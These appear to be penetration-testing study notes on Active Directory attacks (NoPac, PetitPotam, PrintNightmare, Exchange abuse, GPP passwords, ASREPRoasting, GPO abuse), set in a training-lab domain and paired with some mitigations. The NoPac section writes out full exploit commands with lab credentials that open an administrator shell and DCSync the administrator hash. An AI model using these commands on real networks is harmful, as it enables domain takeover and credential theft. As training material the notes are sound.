Miscellaneous AD Misconfigurations
NoPac (SamAccountName Spoofing)
Overview
Exploits CVE-2021-42278 (SAM bypass) and CVE-2021-42287 (Kerberos PAC vulnerability)
Allows any standard domain user to escalate to Domain Admin in a single command
Changes a computer account's SamAccountName to match a DC, then requests Kerberos tickets as the DC
Scanning
sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldapIf
ms-DS-MachineAccountQuota = 10, attack is likely possibleSetting MachineAccountQuota to 0 prevents this attack
Getting a Shell
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldapDCSync via NoPac
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administratorPrintNightmare (CVE-2021-34527 / CVE-2021-1675)
Enumerating for MS-RPRN
Exploit (cube0x0 version)
PetitPotam (MS-EFSRPC / CVE-2021-36942)
Overview
Unauthenticated attacker coerces DC to authenticate via NTLM to attacker host
Relay authentication to AD CS (Certificate Services) to obtain a certificate
Use certificate to request TGT for the DC machine account, then DCSync
Attack Chain
Mitigation
Apply CVE-2021-36942 patch
Extended Protection for Authentication + Require SSL on CA web enrollment
Disable NTLM authentication for Domain Controllers
Disable NTLM on AD CS servers
Exchange-Related Attacks
Exchange Windows Permissions Group
Members can write a DACL to the domain object
Can be leveraged to grant DCSync privileges
Often contains users from Account Operators group
PrivExchange
Exploits PushSubscription feature to force Exchange server to authenticate
Exchange runs as SYSTEM with WriteDacl on the domain (pre-2019 CU)
Relay to LDAP to obtain domain NTDS database
Organization Management Group
Effectively "Domain Admins" of Exchange
Full control of Exchange Security Groups OU
Can access all domain mailboxes
Printer Bug (MS-RPRN)
Any domain user can force a server to authenticate via the Print Spooler service
Spooler runs as SYSTEM, installed by default on Desktop Experience
Can relay to LDAP for DCSync or RBCD attack
Useful for compromising DC in partner domain/forest with Unconstrained Delegation
Check for Printer Bug
Password in Description Field
PASSWD_NOTREQD Accounts
Credentials in SYSVOL Scripts
GPP Passwords (MS14-025)
Overview
Group Policy Preferences stored .xml files with AES-256 encrypted passwords in SYSVOL
Microsoft published the AES key, so they are trivially decryptable
Patched in 2014 but old files may remain
Decrypt cpassword
NetExec modules
ASREPRoasting (from Misc section)
Targets accounts with "Do not require Kerberos pre-authentication" enabled
Does not require an SPN like Kerberoasting
Enumerate
Windows (Rubeus)
Linux
Crack
GPO Abuse
If we have GenericAll/GenericWrite/WriteProperty/WriteDacl over a GPO, we can add rights to users, add local admins, create scheduled tasks
Enumerate GPOs
Check if Domain Users have GPO rights
Convert GPO GUID to name
Abuse with SharpGPOAbuse
Can add local admin, create scheduled task, or other actions
Be careful: commands affect ALL computers in the OU the GPO is linked to
Enumerating DNS Records
Kerberos Double Hop Problem
When authenticating via WinRM/PSRemoting, your TGT isn't forwarded to the remote session
You can't run AD commands (e.g. PowerView, ADWS) from the remote host without workarounds
Workaround 1: PSCredential Object
Workaround 2: Register PSSession Configuration
Sniffing LDAP Credentials
Many devices (printers, apps) store LDAP creds in their web admin console
Change the LDAP server IP to your attack host + set up listener on port 389
May receive cleartext credentials when device tests the connection
Post-Compromise AD Auditing
DPAT (Domain Password Audit Tool)
Analyze dumped NTDS hashes against cracked passwords for reporting:
Generates HTML report showing password reuse, weak passwords, admin accounts with cracked passwords
PingCastle
Automated AD security assessment tool:
Produces a risk-scored HTML report covering trusts, GPO issues, Kerberos misconfigurations, privileged group membership, and stale objects
Run from a domain-joined machine or supply credentials
Last updated